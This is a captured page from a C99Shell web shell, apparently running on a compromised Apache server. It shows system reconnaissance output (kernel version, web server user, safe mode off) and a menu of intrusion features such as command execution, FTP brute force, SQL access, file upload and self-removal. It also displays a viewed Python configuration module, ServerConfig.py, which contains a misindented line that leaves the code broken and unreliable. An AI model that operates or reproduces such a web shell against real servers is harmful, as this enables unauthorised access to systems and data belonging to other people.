!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/usr/lib/python2.4/site-packages/Ft/Server/Server/   drwxr-xr-x
Free 3.38 GB of 27.03 GB (12.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ServerConfig.py (2.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import sys, os, copy

from Ft.Server.Server.Lib import LogUtil, ConfigFile

# Each server configuration file has this structure generated

class ServerConfig:
    def __init__(self, path, virtual=0):
        # Configuration settings
        self.path = path

        self.properties = None
        self.modifiedDate = None

        # Contact information
        self.admin = None
        self.hostname = None
        self.port = 0

        # Logging information
        self.ident = None
        self.errorFilename = None
        self.errorLog = None
        self.logLevel = None

        self.accessFilename = None
        self.accessLog = None

        self.isVirtual = virtual
        self.virtualHosts = []

        # Transaction handling
        # Timeout for waiting for messages
        self.timeout = 300
        self.keepalive = 1
        # Timeout for waiting for next request in keepalive
        self.keepaliveTimeout = 15
        # Number of requests to entertain per connection
        self.keepaliveMax = 100
    
    # Session time to live (default; can be overriden on a per-session basis)
    self.session_ttl = 1800
    
        self.names = []

        self.handler = None
        return

    def finalize(self, date, globals):
        self.modifiedDate = date
        # Prevent handlers from corrupting the global configuration
        self.properties = globals.properties.copy()

        if self.admin is None:
            self.admin = '[no address given]'

        if self.hostname is None:
            self.hostname = 'unknown'

        if self.ident is None:
            self.ident = self.handler.__name__

        if globals.debug:
            self.logLevel = LogUtil.LOG_DEBUG
        elif self.logLevel is None:
            self.logLevel = globals.logLevel

        for virtual in self.virtualHosts:
            virtual.merge(self)

        return

    def merge(self, parent):
        d = self.__dict__
        for name in ('admin', 'hostname', 'port', 'handler', 'logLevel',
                     'modifiedDate', 'properties'):
            if not d[name]:
                d[name] = copy.copy(parent.__dict__[name])

        for name, value in parent.__dict__.items():
            if not d.has_key(name):
                # Assume any unset values from parent
                d[name] = copy.copy(value)
        return

    def openLogs(self, globals):
        self.errorLog = globals.errorLog.clone(self.ident, self.logLevel)

        for virtual in self.virtualHosts:
            virtual.openLogs(globals)
        return


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0036 ]--